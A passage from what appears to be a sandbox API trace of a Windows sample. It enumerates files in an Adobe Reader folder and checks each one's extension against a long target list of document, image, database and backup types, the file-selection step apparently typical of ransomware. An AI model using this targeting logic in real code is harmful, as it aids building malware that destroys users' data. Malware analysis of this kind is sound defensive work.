(lpString1=".ai7", lpString2="s.js") returned -1 [0261.647] lstrlenW (lpString=".ai8") returned 4 [0261.647] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0261.647] lstrlenW (lpString=".anim") returned 5 [0261.647] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0261.647] lstrlenW (lpString=".arw") returned 4 [0261.647] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0261.647] lstrlenW (lpString=".as") returned 3 [0261.647] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.647] lstrlenW (lpString=".asa") returned 4 [0261.647] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0261.647] lstrlenW (lpString=".asc") returned 4 [0261.647] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0261.647] lstrlenW (lpString=".ascx") returned 5 [0261.647] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0261.647] lstrlenW (lpString=".asm") returned 4 [0261.647] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0261.647] lstrlenW (lpString=".asmx") returned 5 [0261.647] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0261.648] lstrlenW (lpString=".asp") returned 4 [0261.648] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0261.648] lstrlenW (lpString=".aspx") returned 5 [0261.648] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0261.648] lstrlenW (lpString=".asr") returned 4 [0261.648] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0261.648] lstrlenW (lpString=".asx") returned 4 [0261.648] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0261.648] lstrlenW (lpString=".avi") returned 4 [0261.648] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0261.648] lstrlenW (lpString=".avs") returned 4 [0261.648] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0261.648] lstrlenW (lpString=".backup") returned 7 [0261.648] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0261.648] lstrlenW (lpString=".bak") returned 4 [0261.648] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0261.648] lstrlenW (lpString=".bay") returned 4 [0261.648] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0261.648] lstrlenW (lpString=".bd") returned 3 [0261.648] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.648] lstrlenW (lpString=".bin") returned 4 [0261.648] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0261.648] lstrlenW (lpString=".bmp") returned 4 [0261.648] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0261.648] lstrlenW (lpString=".bz2") returned 4 [0261.648] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0261.648] lstrlenW (lpString=".c") returned 2 [0261.648] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.648] lstrlenW (lpString=".cdr") returned 4 [0261.648] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0261.648] lstrlenW (lpString=".cer") returned 4 [0261.648] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0261.648] lstrlenW (lpString=".cf") returned 3 [0261.648] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.648] lstrlenW (lpString=".cfc") returned 4 [0261.648] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0261.648] lstrlenW (lpString=".cfm") returned 4 [0261.649] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".cfml") returned 5 [0261.649] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0261.649] lstrlenW (lpString=".cfu") returned 4 [0261.649] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".chm") returned 4 [0261.649] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".cin") returned 4 [0261.649] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".class") returned 6 [0261.649] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0261.649] lstrlenW (lpString=".clx") returned 4 [0261.649] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".config") returned 7 [0261.649] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0261.649] lstrlenW (lpString=".cpp") returned 4 [0261.649] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".cr2") returned 4 [0261.649] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".crt") returned 4 [0261.649] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".crw") returned 4 [0261.649] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".cs") returned 3 [0261.649] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.649] lstrlenW (lpString=".css") returned 4 [0261.649] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".csv") returned 4 [0261.649] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".cub") returned 4 [0261.649] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".dae") returned 4 [0261.649] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".dat") returned 4 [0261.649] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0261.649] lstrlenW (lpString=".db") returned 3 [0261.649] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.649] lstrlenW (lpString=".dbf") returned 4 [0261.650] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0261.650] lstrlenW (lpString=".dbx") returned 4 [0261.650] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0261.650] lstrlenW (lpString=".dc3") returned 4 [0261.650] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0261.650] lstrlenW (lpString=".dcm") returned 4 [0261.650] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0261.650] lstrlenW (lpString=".dcr") returned 4 [0261.650] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0261.650] lstrlenW (lpString=".der") returned 4 [0261.650] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0261.650] lstrlenW (lpString=".dib") returned 4 [0261.650] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0261.650] lstrlenW (lpString=".dic") returned 4 [0261.650] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0261.650] lstrlenW (lpString=".dif") returned 4 [0261.650] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0261.650] lstrlenW (lpString=".divx") returned 5 [0261.650] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0261.650] lstrlenW (lpString=".djvu") returned 5 [0261.650] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0261.650] lstrlenW (lpString=".dng") returned 4 [0261.650] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0261.650] lstrlenW (lpString=".doc") returned 4 [0261.650] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0261.650] lstrlenW (lpString=".docm") returned 5 [0261.650] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0261.650] lstrlenW (lpString=".docx") returned 5 [0261.650] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0261.650] lstrlenW (lpString=".dot") returned 4 [0261.650] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0261.650] lstrlenW (lpString=".dotm") returned 5 [0261.650] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0261.650] lstrlenW (lpString=".dotx") returned 5 [0261.650] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0261.650] lstrlenW (lpString=".dpx") returned 4 [0261.650] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0261.651] lstrlenW (lpString=".dqy") returned 4 [0261.651] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0261.651] lstrlenW (lpString=".dsn") returned 4 [0261.651] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0261.651] lstrlenW (lpString=".dt") returned 3 [0261.651] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.651] lstrlenW (lpString=".dtd") returned 4 [0261.651] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0261.651] lstrlenW (lpString=".dwg") returned 4 [0261.651] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0261.651] lstrlenW (lpString=".dwt") returned 4 [0261.651] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0261.651] lstrlenW (lpString=".dx") returned 3 [0261.651] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.651] lstrlenW (lpString=".dxf") returned 4 [0261.651] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0261.651] lstrlenW (lpString=".edml") returned 5 [0261.651] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0261.651] lstrlenW (lpString=".efd") returned 4 [0261.651] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0261.651] lstrlenW (lpString=".elf") returned 4 [0261.651] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0261.651] lstrlenW (lpString=".emf") returned 4 [0261.651] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0261.651] lstrlenW (lpString=".emz") returned 4 [0261.651] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0261.651] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.652] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0261.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0261.652] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0261.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0261.652] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr") returned 105 [0261.652] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\fr-fr\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0261.653] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.653] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4199, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.653] lstrlenW (lpString="ui-strings.js") returned 13 [0261.653] lstrlenW (lpString=".1cd") returned 4 [0261.653] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0261.653] lstrlenW (lpString=".3ds") returned 4 [0261.653] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0261.653] lstrlenW (lpString=".3fr") returned 4 [0261.653] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0261.653] lstrlenW (lpString=".3g2") returned 4 [0261.890] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0261.890] lstrlenW (lpString=".3gp") returned 4 [0261.891] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0261.891] lstrlenW (lpString=".7z") returned 3 [0261.891] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.891] lstrlenW (lpString=".accda") returned 6 [0261.891] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0261.891] lstrlenW (lpString=".accdb") returned 6 [0261.891] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0261.891] lstrlenW (lpString=".accdc") returned 6 [0261.891] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0261.891] lstrlenW (lpString=".accde") returned 6 [0261.891] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0261.891] lstrlenW (lpString=".accdt") returned 6 [0261.891] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0261.891] lstrlenW (lpString=".accdw") returned 6 [0261.891] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0261.891] lstrlenW (lpString=".adb") returned 4 [0261.891] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0261.891] lstrlenW (lpString=".adp") returned 4 [0261.891] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0261.891] lstrlenW (lpString=".ai") returned 3 [0261.891] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.891] lstrlenW (lpString=".ai3") returned 4 [0261.892] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0261.892] lstrlenW (lpString=".ai4") returned 4 [0261.892] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0261.892] lstrlenW (lpString=".ai5") returned 4 [0261.892] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0261.892] lstrlenW (lpString=".ai6") returned 4 [0261.892] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0261.892] lstrlenW (lpString=".ai7") returned 4 [0261.892] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0261.892] lstrlenW (lpString=".ai8") returned 4 [0261.892] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0261.892] lstrlenW (lpString=".anim") returned 5 [0261.892] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0261.892] lstrlenW (lpString=".arw") returned 4 [0261.892] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0261.892] lstrlenW (lpString=".as") returned 3 [0261.892] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.892] lstrlenW (lpString=".asa") returned 4 [0261.892] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0261.892] lstrlenW (lpString=".asc") returned 4 [0261.892] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0261.892] lstrlenW (lpString=".ascx") returned 5 [0261.892] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0261.892] lstrlenW (lpString=".asm") returned 4 [0261.893] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0261.893] lstrlenW (lpString=".asmx") returned 5 [0261.893] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0261.893] lstrlenW (lpString=".asp") returned 4 [0261.893] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0261.893] lstrlenW (lpString=".aspx") returned 5 [0261.893] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0261.893] lstrlenW (lpString=".asr") returned 4 [0261.893] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0261.893] lstrlenW (lpString=".asx") returned 4 [0261.893] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0261.893] lstrlenW (lpString=".avi") returned 4 [0261.893] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0261.893] lstrlenW (lpString=".avs") returned 4 [0261.893] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0261.893] lstrlenW (lpString=".backup") returned 7 [0261.894] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0261.894] lstrlenW (lpString=".bak") returned 4 [0261.894] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0261.894] lstrlenW (lpString=".bay") returned 4 [0261.894] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0261.894] lstrlenW (lpString=".bd") returned 3 [0261.894] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.894] lstrlenW (lpString=".bin") returned 4 [0261.894] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0261.894] lstrlenW (lpString=".bmp") returned 4 [0261.894] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0261.894] lstrlenW (lpString=".bz2") returned 4 [0261.894] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0261.894] lstrlenW (lpString=".c") returned 2 [0261.894] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.894] lstrlenW (lpString=".cdr") returned 4 [0261.894] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0261.894] lstrlenW (lpString=".cer") returned 4 [0261.894] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0261.894] lstrlenW (lpString=".cf") returned 3 [0261.894] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.894] lstrlenW (lpString=".cfc") returned 4 [0261.894] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0261.895] lstrlenW (lpString=".cfm") returned 4 [0261.895] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0261.895] lstrlenW (lpString=".cfml") returned 5 [0261.895] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0261.895] lstrlenW (lpString=".cfu") returned 4 [0261.895] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0261.895] lstrlenW (lpString=".chm") returned 4 [0261.895] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0261.895] lstrlenW (lpString=".cin") returned 4 [0261.895] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0261.895] lstrlenW (lpString=".class") returned 6 [0261.895] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0261.895] lstrlenW (lpString=".clx") returned 4 [0261.895] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0261.895] lstrlenW (lpString=".config") returned 7 [0261.895] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0261.895] lstrlenW (lpString=".cpp") returned 4 [0261.895] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0261.896] lstrlenW (lpString=".cr2") returned 4 [0261.896] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0261.896] lstrlenW (lpString=".crt") returned 4 [0261.896] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0261.896] lstrlenW (lpString=".crw") returned 4 [0261.896] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0261.896] lstrlenW (lpString=".cs") returned 3 [0261.896] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.896] lstrlenW (lpString=".css") returned 4 [0261.896] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0261.896] lstrlenW (lpString=".csv") returned 4 [0261.896] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0261.896] lstrlenW (lpString=".cub") returned 4 [0261.896] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0261.896] lstrlenW (lpString=".dae") returned 4 [0261.896] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0261.896] lstrlenW (lpString=".dat") returned 4 [0261.896] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0261.896] lstrlenW (lpString=".db") returned 3 [0261.896] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.896] lstrlenW (lpString=".dbf") returned 4 [0261.896] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0261.896] lstrlenW (lpString=".dbx") returned 4 [0261.897] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0261.897] lstrlenW (lpString=".dc3") returned 4 [0261.897] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0261.897] lstrlenW (lpString=".dcm") returned 4 [0261.897] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0261.897] lstrlenW (lpString=".dcr") returned 4 [0261.897] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0261.897] lstrlenW (lpString=".der") returned 4 [0261.897] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0261.897] lstrlenW (lpString=".dib") returned 4 [0261.897] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0261.897] lstrlenW (lpString=".dic") returned 4 [0261.897] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0261.897] lstrlenW (lpString=".dif") returned 4 [0261.897] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0261.897] lstrlenW (lpString=".divx") returned 5 [0261.897] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0261.897] lstrlenW (lpString=".djvu") returned 5 [0261.897] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0261.897] lstrlenW (lpString=".dng") returned 4 [0261.897] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0261.897] lstrlenW (lpString=".doc") returned 4 [0261.898] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0261.898] lstrlenW (lpString=".docm") returned 5 [0261.898] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0261.898] lstrlenW (lpString=".docx") returned 5 [0261.898] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0261.898] lstrlenW (lpString=".dot") returned 4 [0261.898] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0261.898] lstrlenW (lpString=".dotm") returned 5 [0261.898] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0261.898] lstrlenW (lpString=".dotx") returned 5 [0261.898] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0261.898] lstrlenW (lpString=".dpx") returned 4 [0261.898] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0261.898] lstrlenW (lpString=".dqy") returned 4 [0261.898] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0261.898] lstrlenW (lpString=".dsn") returned 4 [0261.898] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0261.898] lstrlenW (lpString=".dt") returned 3 [0261.898] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.898] lstrlenW (lpString=".dtd") returned 4 [0261.898] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0261.898] lstrlenW (lpString=".dwg") returned 4 [0261.899] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0261.899] lstrlenW (lpString=".dwt") returned 4 [0261.899] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0261.899] lstrlenW (lpString=".dx") returned 3 [0261.899] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.899] lstrlenW (lpString=".dxf") returned 4 [0261.899] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0261.899] lstrlenW (lpString=".edml") returned 5 [0261.899] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0261.899] lstrlenW (lpString=".efd") returned 4 [0261.899] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0261.899] lstrlenW (lpString=".elf") returned 4 [0261.899] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0261.899] lstrlenW (lpString=".emf") returned 4 [0261.899] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0261.899] lstrlenW (lpString=".emz") returned 4 [0261.899] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0261.899] lstrlenW (lpString=".epf") returned 4 [0261.899] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0261.899] lstrlenW (lpString=".eps") returned 4 [0261.899] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0261.899] lstrlenW (lpString=".epsf") returned 5 [0261.899] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0261.900] lstrlenW (lpString=".epsp") returned 5 [0261.900] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0261.900] lstrlenW (lpString=".erf") returned 4 [0261.900] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0261.900] lstrlenW (lpString=".exr") returned 4 [0261.900] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0261.900] lstrlenW (lpString=".f4v") returned 4 [0261.900] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0261.900] lstrlenW (lpString=".fido") returned 5 [0261.900] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0261.900] lstrlenW (lpString=".flm") returned 4 [0261.900] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0261.900] lstrlenW (lpString=".flv") returned 4 [0261.900] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0261.900] lstrlenW (lpString=".frm") returned 4 [0261.900] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0261.900] lstrlenW (lpString=".fxg") returned 4 [0261.900] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0261.900] lstrlenW (lpString=".geo") returned 4 [0261.900] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0261.900] lstrlenW (lpString=".gif") returned 4 [0261.900] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0261.901] lstrlenW (lpString=".grs") returned 4 [0261.901] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0261.901] lstrlenW (lpString=".gz") returned 3 [0261.901] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0261.901] lstrlenW (lpString=".h") returned 2 [0261.901] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0261.901] lstrlenW (lpString=".hdr") returned 4 [0261.901] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0261.901] lstrlenW (lpString=".hpp") returned 4 [0261.901] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0261.901] lstrlenW (lpString=".hta") returned 4 [0261.901] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0261.901] lstrlenW (lpString=".htc") returned 4 [0261.901] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0261.901] lstrlenW (lpString=".htm") returned 4 [0261.901] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0261.901] lstrlenW (lpString=".html") returned 5 [0261.901] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0261.901] lstrlenW (lpString=".icb") returned 4 [0261.901] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0261.901] lstrlenW (lpString=".ics") returned 4 [0261.901] lstrcmpiW (lpString1=".ics", 